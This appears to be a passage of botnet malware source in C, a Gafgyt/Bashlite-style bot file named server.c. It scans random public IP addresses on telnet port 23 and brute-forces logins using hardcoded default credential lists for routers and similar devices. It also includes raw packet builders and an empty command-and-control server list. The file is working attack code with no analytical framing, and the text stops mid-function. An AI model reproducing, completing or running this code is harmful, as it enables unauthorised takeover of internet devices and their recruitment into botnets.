server.c

#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define CMD_IAC   255
#define CMD_WILL  251
#define CMD_WONT  252
#define CMD_DO    253
#define CMD_DONT  254
#define OPT_SGA   3

#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <strings.h>
#include <string.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <net/if.h>

unsigned char *commServer[] =
{
	""
};

int initConnection();
int getBogos(unsigned char *bogomips);
int getCores();
int getCountry(unsigned char *buf, int bufsize);
void makeRandomStr(unsigned char *buf, int length);
int sockprintf(int sock, char *formatStr, ...);
char *inet_ntoa(struct in_addr in);

int mainCommSock = 0, currentServer = -1, gotIP = 0;
uint32_t *pids;
uint32_t scanPid;
uint64_t numpids = 0;
struct in_addr ourIP;
unsigned char macAddress[6] = {0};
char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0", "operator\0", "netis\0", "D-Link\0", "cisco\0"};
char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "cisco\0", "operator\0", "default\0", "pass\0", "password\0"};

#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;

void init_rand(uint32_t x)
{
	int i;

	Q[0] = x;
	Q[1] = x + PHI;
	Q[2] = x + PHI + PHI;

	for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
	uint64_t t, a = 18782LL;
	static uint32_t i = 4095;
	uint32_t x, r = 0xfffffffe;
	i = (i + 1) & 4095;
	t = a * Q[i] + c;
	c = (uint32_t)(t >> 32);
	x = t + c;
	if (x < c) {
		x++;
		c++;
	}
	return (Q[i] = r - x);
}

void trim(char *str)
{
	int i;
	int begin = 0;
	int end = strlen(str) - 1;

	while (isspace(str[begin])) begin++;

	while ((end >= begin) && isspace(str[end])) end--;
	for (i = begin; i <= end; i++) str[i - begin] = str[i];

	str[i - begin] = '\0';
}

static void printchar(unsigned char **str, int c)
{
	if (str) {
		**str = c;
		++(*str);
	}
	else (void)write(1, &c, 1);
}

static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
{
	register int pc = 0, padchar = ' ';

	if (width > 0) {
		register int len = 0;
		register const unsigned char *ptr;
		for (ptr = string; *ptr; ++ptr) ++len;
		if (len >= width) width = 0;
		else width -= len;
		if (pad & PAD_ZERO) padchar = '0';
	}
	if (!(pad & PAD_RIGHT)) {
		for ( ; width > 0; --width) {
			printchar (out, padchar);
			++pc;
		}
	}
	for ( ; *string ; ++string) {
		printchar (out, *string);
		++pc;
	}
	for ( ; width > 0; --width) {
		printchar (out, padchar);
		++pc;
	}

	return pc;
}

static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
{
	unsigned char print_buf[PRINT_BUF_LEN];
	register unsigned char *s;
	register int t, neg = 0, pc = 0;
	register unsigned int u = i;

	if (i == 0) {
		print_buf[0] = '0';
		print_buf[1] = '\0';
		return prints (out, print_buf, width, pad);
	}

	if (sg && b == 10 && i < 0) {
		neg = 1;
		u = -i;
	}

	s = print_buf + PRINT_BUF_LEN-1;
	*s = '\0';

	while (u) {
		t = u % b;
		if( t >= 10 )
		t += letbase - '0' - 10;
		*--s = t + '0';
		u /= b;
	}

	if (neg) {
		if( width && (pad & PAD_ZERO) ) {
			printchar (out, '-');
			++pc;
			--width;
		}
		else {
			*--s = '-';
		}
	}

	return pc + prints (out, s, width, pad);
}

static int print(unsigned char **out, const unsigned char *format, va_list args )
{
	register int width, pad;
	register int pc = 0;
	unsigned char scr[2];

	for (; *format != 0; ++format) {
		if (*format == '%') {
			++format;
			width = pad = 0;
			if (*format == '\0') break;
			if (*format == '%') goto out;
			if (*format == '-') {
				++format;
				pad = PAD_RIGHT;
			}
			while (*format == '0') {
				++format;
				pad |= PAD_ZERO;
			}
			for ( ; *format >= '0' && *format <= '9'; ++format) {
				width *= 10;
				width += *format - '0';
			}
			if( *format == 's' ) {
				register char *s = (char *)va_arg( args, int );
				pc += prints (out, s?s:"(null)", width, pad);
				continue;
			}
			if( *format == 'd' ) {
				pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
				continue;
			}
			if( *format == 'x' ) {
				pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
				continue;
			}
			if( *format == 'X' ) {
				pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
				continue;
			}
			if( *format == 'u' ) {
				pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
				continue;
			}
			if( *format == 'c' ) {
				scr[0] = (unsigned char)va_arg( args, int );
				scr[1] = '\0';
				pc += prints (out, scr, width, pad);
				continue;
			}
		}
		else {
out:
			printchar (out, *format);
			++pc;
		}
	}
	if (out) **out = '\0';
	va_end( args );
	return pc;
}

int zprintf(const unsigned char *format, ...)
{
	va_list args;
	va_start( args, format );
	return print( 0, format, args );
}

int szprintf(unsigned char *out, const unsigned char *format, ...)
{
	va_list args;
	va_start( args, format );
	return print( &out, format, args );
}


int sockprintf(int sock, char *formatStr, ...)
{
	unsigned char *textBuffer = malloc(2048);
	memset(textBuffer, 0, 2048);
	char *orig = textBuffer;
	va_list args;
	va_start(args, formatStr);
	print(&textBuffer, formatStr, args);
	va_end(args);
	orig[strlen(orig)] = '\n';
	zprintf("buf: %s\n", orig);
	int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
	free(orig);
	return q;
}

static int *fdopen_pids;

int fdpopen(unsigned char *program, register unsigned char *type)
{
	register int iop;
	int pdes[2], fds, pid;

	if (*type != 'r' && *type != 'w' || type[1]) return -1;

	if (pipe(pdes) < 0) return -1;
	if (fdopen_pids == NULL) {
		if ((fds = getdtablesize()) <= 0) return -1;
		if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
		memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
	}

	switch (pid = vfork())
	{
	case -1:
		close(pdes[0]);
		close(pdes[1]);
		return -1;
	case 0:
		if (*type == 'r') {
			if (pdes[1] != 1) {
				dup2(pdes[1], 1);
				close(pdes[1]);
			}
			close(pdes[0]);
		} else {
			if (pdes[0] != 0) {
				(void) dup2(pdes[0], 0);
				(void) close(pdes[0]);
			}
			(void) close(pdes[1]);
		}
		_exit(127);
	}
	if (*type == 'r') {
		iop = pdes[0];
		(void) close(pdes[1]);
	} else {
		iop = pdes[1];
		(void) close(pdes[0]);
	}
	fdopen_pids[iop] = pid;
	return (iop);
}

int fdpclose(int iop)
{
	register int fdes;
	sigset_t omask, nmask;
	int pstat;
	register int pid;

	if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
	(void) close(iop);
	sigemptyset(&nmask);
	sigaddset(&nmask, SIGINT);
	sigaddset(&nmask, SIGQUIT);
	sigaddset(&nmask, SIGHUP);
	(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
	do {
		pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
	} while (pid == -1 && errno == EINTR);
	(void) sigprocmask(SIG_SETMASK, &omask, NULL);
	fdopen_pids[fdes] = 0;
	return (pid == -1 ? -1 : WEXITSTATUS(pstat));
}

unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
{
	int got = 1, total = 0;
	while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
	return got == 0 ? NULL : buffer;
}

static const long hextable[] = {
	[0 ... 255] = -1,
	['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
	['A'] = 10, 11, 12, 13, 14, 15,
	['a'] = 10, 11, 12, 13, 14, 15
};

long parseHex(unsigned char *hex)
{
	long ret = 0;
	while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
	return ret;
}

int wildString(const unsigned char* pattern, const unsigned char* string) {
	switch(*pattern)
	{
	case '\0': return *string;
	case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
	case '?': return !(*string && !wildString(pattern+1, string+1));
	default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
	}
}

int getHost(unsigned char *toGet, struct in_addr *i)
{
	struct hostent *h;
	if((i->s_addr = inet_addr(toGet)) == -1) return 1;
	return 0;
}

void uppercase(unsigned char *str)
{
	while(*str) { *str = toupper(*str); str++; }
}

int getBogos(unsigned char *bogomips)
{
	int cmdline = open("/proc/cpuinfo", O_RDONLY);
	char linebuf[4096];
	while(fdgets(linebuf, 4096, cmdline) != NULL)
	{
		uppercase(linebuf);
		if(strstr(linebuf, "BOGOMIPS") == linebuf)
		{
			unsigned char *pos = linebuf + 8;
			while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
			while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
			if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
			strcpy(bogomips, pos);
			close(cmdline);
			return 0;
		}
		memset(linebuf, 0, 4096);
	}
	close(cmdline);
	return 1;
}

int getCores()
{
	int totalcores = 0;
	int cmdline = open("/proc/cpuinfo", O_RDONLY);
	char linebuf[4096];
	while(fdgets(linebuf, 4096, cmdline) != NULL)
	{
		uppercase(linebuf);
		if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
		memset(linebuf, 0, 4096);
	}
	close(cmdline);
	return totalcores;

}

void makeRandomStr(unsigned char *buf, int length)
{
	int i = 0;
	for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
}

int recvLine(int socket, unsigned char *buf, int bufsize)
{
	memset(buf, 0, bufsize);

	fd_set myset;
	struct timeval tv;
	tv.tv_sec = 30;
	tv.tv_usec = 0;
	FD_ZERO(&myset);
	FD_SET(socket, &myset);
	int selectRtn, retryCount;
	if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
		while(retryCount < 10)
		{
			sockprintf(mainCommSock, "PING");

			tv.tv_sec = 30;
			tv.tv_usec = 0;
			FD_ZERO(&myset);
			FD_SET(socket, &myset);
			if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
				retryCount++;
				continue;
			}

			break;
		}
	}

	unsigned char tmpchr;
	unsigned char *cp;
	int count = 0;

	cp = buf;
	while(bufsize-- > 1)
	{
		if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
			*cp = 0x00;
			return -1;
		}
		*cp++ = tmpchr;
		if(tmpchr == '\n') break;
		count++;
	}
	*cp = 0x00;

	return count;
}

int connectTimeout(int fd, char *host, int port, int timeout)
{
	struct sockaddr_in dest_addr;
	fd_set myset;
	struct timeval tv;
	socklen_t lon;

	int valopt;
	long arg = fcntl(fd, F_GETFL, NULL);
	arg |= O_NONBLOCK;
	fcntl(fd, F_SETFL, arg);

	dest_addr.sin_family = AF_INET;
	dest_addr.sin_port = htons(port);
	if(getHost(host, &dest_addr.sin_addr)) return 0;
	memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
	int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

	if (res < 0) {
		if (errno == EINPROGRESS) {
			tv.tv_sec = timeout;
			tv.tv_usec = 0;
			FD_ZERO(&myset);
			FD_SET(fd, &myset);
			if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
				lon = sizeof(int);
				getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
				if (valopt) return 0;
			}
			else return 0;
		}
		else return 0;
	}

	arg = fcntl(fd, F_GETFL, NULL);
	arg &= (~O_NONBLOCK);
	fcntl(fd, F_SETFL, arg);

	return 1;
}

int listFork()
{
	uint32_t parent, *newpids, i;
	parent = fork();
	if (parent <= 0) return parent;
	numpids++;
	newpids = (uint32_t*)malloc((numpids + 1) * 4);
	for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
	newpids[numpids - 1] = parent;
	free(pids);
	pids = newpids;
	return parent;
}

int negotiate(int sock, unsigned char *buf, int len)
{
	unsigned char c;

	switch (buf[1]) {
	case CMD_IAC: return 0;
	case CMD_WILL:
	case CMD_WONT:
	case CMD_DO:
	case CMD_DONT:
		c = CMD_IAC;
		send(sock, &c, 1, MSG_NOSIGNAL);
		if (CMD_WONT == buf[1]) c = CMD_DONT;
		else if (CMD_DONT == buf[1]) c = CMD_WONT;
		else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
		else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
		send(sock, &c, 1, MSG_NOSIGNAL);
		send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
		break;

	default:
		break;
	}

	return 0;
}

int matchPrompt(char *bufStr)
{
	char *prompts = ":>%$#\0";

	int bufLen = strlen(bufStr);
	int i, q = 0;
	for(i = 0; i < strlen(prompts); i++)
	{
		while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
		if(*(bufStr + bufLen - q) == prompts[i]) return 1;
	}

	return 0;
}

int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
{
	int bufferUsed = initialIndex, got = 0, found = 0;
	fd_set myset;
	struct timeval tv;
	tv.tv_sec = timeout;
	tv.tv_usec = timeoutusec;
	unsigned char *initialRead = NULL;

	while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
	{
		FD_ZERO(&myset);
		FD_SET(fd, &myset);
		if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
		initialRead = buffer + bufferUsed;
		got = recv(fd, initialRead, 1, 0);
		if(got == -1 || got == 0) return 0;
		bufferUsed += got;
		if(*initialRead == 0xFF)
		{
			got = recv(fd, initialRead + 1, 2, 0);
			if(got == -1 || got == 0) return 0;
			bufferUsed += got;
			if(!negotiate(fd, initialRead, 3)) return 0;
		} else {
			if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
		}
	}

	if(found) return 1;
	return 0;
}

static uint8_t ipState[5];
in_addr_t getRandomPublicIP()
{
	if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
        {
                ipState[1]++;
		ipState[2]++;
		ipState[3]++;
		ipState[4]++;
                char ip[16];
                szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
		return inet_addr(ip);
        }

	ipState[1] = rand() % 255;
	ipState[2] = rand() % 255;
        ipState[3] = rand() % 255;
	ipState[4] = rand() % 255;
        while(
                (ipState[1] == 0) ||
                (ipState[1] == 10) ||
                (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
                (ipState[1] == 127) ||
                (ipState[1] == 169 && ipState[2] == 254) ||
                (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
                (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
                (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
                (ipState[1] == 192 && ipState[2] == 168) ||
                (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
                (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
                (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
                (ipState[1] >= 224)
        )
        {
                ipState[1] = rand() % 255;
        	ipState[2] = rand() % 255;
        	ipState[3] = rand() % 255;
		ipState[4] = rand() % 255;
        }

	char ip[16];
        szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
	return inet_addr(ip);
}

in_addr_t getRandomIP(in_addr_t netmask)
{
	in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
	return tmp ^ ( rand_cmwc() & ~netmask);
}

unsigned short csum (unsigned short *buf, int count)
{
	register uint64_t sum = 0;
	while( count > 1 ) { sum += *buf++; count -= 2; }
	if(count > 0) { sum += *(unsigned char *)buf; }
	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
	return (uint16_t)(~sum);
}

unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
{

	struct tcp_pseudo
	{
		unsigned long src_addr;
		unsigned long dst_addr;
		unsigned char zero;
		unsigned char proto;
		unsigned short length;
	} pseudohead;
	unsigned short total_len = iph->tot_len;
	pseudohead.src_addr=iph->saddr;
	pseudohead.dst_addr=iph->daddr;
	pseudohead.zero=0;
	pseudohead.proto=IPPROTO_TCP;
	pseudohead.length=htons(sizeof(struct tcphdr));
	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
	unsigned short *tcp = malloc(totaltcp_len);
	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
	unsigned short output = csum(tcp,totaltcp_len);
	free(tcp);
	return output;
}

void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
{
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof(struct iphdr) + packetSize;
	iph->id = rand_cmwc();
	iph->frag_off = 0;
	iph->ttl = MAXTTL;
	iph->protocol = protocol;
	iph->check = 0;
	iph->saddr = source;
	iph->daddr = dest;
}

int sclose(int fd)
{
	if(3 > fd) return 1;
	close(fd);
	return 0;
}

void TelnetScan()
{
	int max = (getdtablesize() / 4) * 3, i, res;
	fd_set myset;
	struct timeval tv;
	socklen_t lon;
	int valopt;

	max = max > 512 ? 512 : max;

	struct sockaddr_in dest_addr;
	dest_addr.sin_family = AF_INET;
	dest_addr.sin_port = htons(23);
	memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

	struct telstate_t
	{
		int fd;
		uint32_t ip;
		uint8_t state;
		uint8_t complete;
		uint8_t usernameInd;
		uint8_t passwordInd;
		uint32_t totalTimeout;
		uint16_t bufUsed;
		char *sockbuf;
	} fds[max];
	memset(fds, 0, max * (sizeof(int) + 1));
	for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
	struct timeval timeout;
        timeout.tv_sec = 8;
        timeout.tv_usec = 0;
	while(1)
	{
		for(i = 0; i < max; i++)
		{
			switch(fds[i].state)
			{
			case 0:
				{
					memset(fds[i].sockbuf, 0, 1024);

					if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
					else {
						fds[i].passwordInd++;
						if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
						if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
					}
					dest_addr.sin_family = AF_INET;
					dest_addr.sin_port = htons(23);
					memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
					dest_addr.sin_addr.s_addr = fds[i].ip;
					fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
					if(fds[i].fd == -1) { continue; }
					fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
					if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
					else { fds[i].state = 1; fds[i].totalTimeout = 0; }
				}
				break;

			case 1:
				{
					if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);

					FD_ZERO(&myset);
					FD_SET(fds[i].fd, &myset);
					tv.tv_sec = 0;
					tv.tv_usec = 10000;
					res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
					if(res == 1)
					{
						lon = sizeof(int);
						valopt = 0;
						getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
						if(valopt)
						{
							sclose(fds[i].fd);
							fds[i].state = 0;
							fds[i].complete = 1;
						} else {
							fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
							fds[i].totalTimeout = 0;
							fds[i].bufUsed = 0;
							memset(fds[i].sockbuf, 0, 1024);
							fds[i].state = 2;
							continue;
						}
					} else if(res == -1)
					{
						sclose(fds[i].fd);
						fds[i].state = 0;
						fds[i].complete = 1;
					}

					if(fds[i].totalTimeout + 10 < time(NULL))
					{
						sclose(fds[i].fd);
						fds[i].state = 0;
						fds[i].complete = 1;
					}
				}
				break;

			case 2:
				{
					if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);

					if(readUntil(fds[i].fd, "ogin", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
												fds[i].totalTimeout = 0;
												fds[i].bufUsed = 0;
												if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
												else fds[i].state = 3;
												memset(fds[i].sockbuf, 0, 1024);
											    continue;
					}
					else if(readUntil(fds[i].fd, "user", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
                                        {
                                                fds[i].totalTimeout = 0;
                                                fds[i].bufUsed = 0;
												if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
												else fds[i].state = 3;
                                                memset(fds[i].sockbuf, 0, 1024); 
                                                fds[i].state = 3;
                                                continue;
                                        }
					else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
                                        {
                                                fds[i].totalTimeout = 0;
                                                fds[i].bufUsed = 0;
                                                memset(fds[i].sockbuf, 0, 1024); 
                                                fds[i].state = 5;
                                                continue;
                                        }
					else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
                                        {
                                                fds[i].totalTimeout = 0;
                                                fds[i].bufUsed = 0;
												if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
												else fds[i].state = 3;
                                                memset(fds[i].sockbuf, 0, 1024); 
                                                fds[i].state = 3;
                                                continue;
                                        }
					else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
                                        {
                                                fds[i].totalTimeout = 0;
                                                fds[i].bufUsed = 0;
                                                memset(fds[i].sockbuf, 0, 1024);
                                                fds[i].state = 5;
                                                continue;
                                        } else {
						fds[i].bufUsed = strlen(fds[i].sockbuf);
					}

					if(fds[i].totalTimeout + 10 < time(NULL))
					{
						sclose(fds[i].fd);
						fds[i].state = 0;
						fds[i].complete = 1;
					}
				}
				break;

			case 3:
				{
					if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
					if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
					fds[i].state = 4;
				}
				break;

			case 4:
				{
					if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);

					if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					}
					else if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
                                        {
                                                fds[i].totalTimeout = 0;
                                                fds[i].bufUsed = 0;
                                                if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
                                                else fds[i].state = 7;
                                                memset(fds[i].sockbuf, 0, 1024);
                                                continue;
                                        } else {
						if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
						else if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
						else if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
						else if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
						else if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
						else if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
						else if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
						else if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
						fds[i].bufUsed = strlen(fds[i].sockbuf);
					}

					if(fds[i].totalTimeout + 10 < time(NULL))
					{
						sclose(fds[i].fd);
						fds[i].state = 0;
						fds[i].complete = 1;
					}
				}
				break;

			case 5:
				{
					if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
					if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
					fds[i].state = 6;
				}
				break;

			case 6:
				{
					if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);

					if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
	 					if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					}
					else if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
	 					if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					}
					else if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
	 					if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					}
					else if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
	 					if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					}
					else if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
	 					if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					}
					else if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
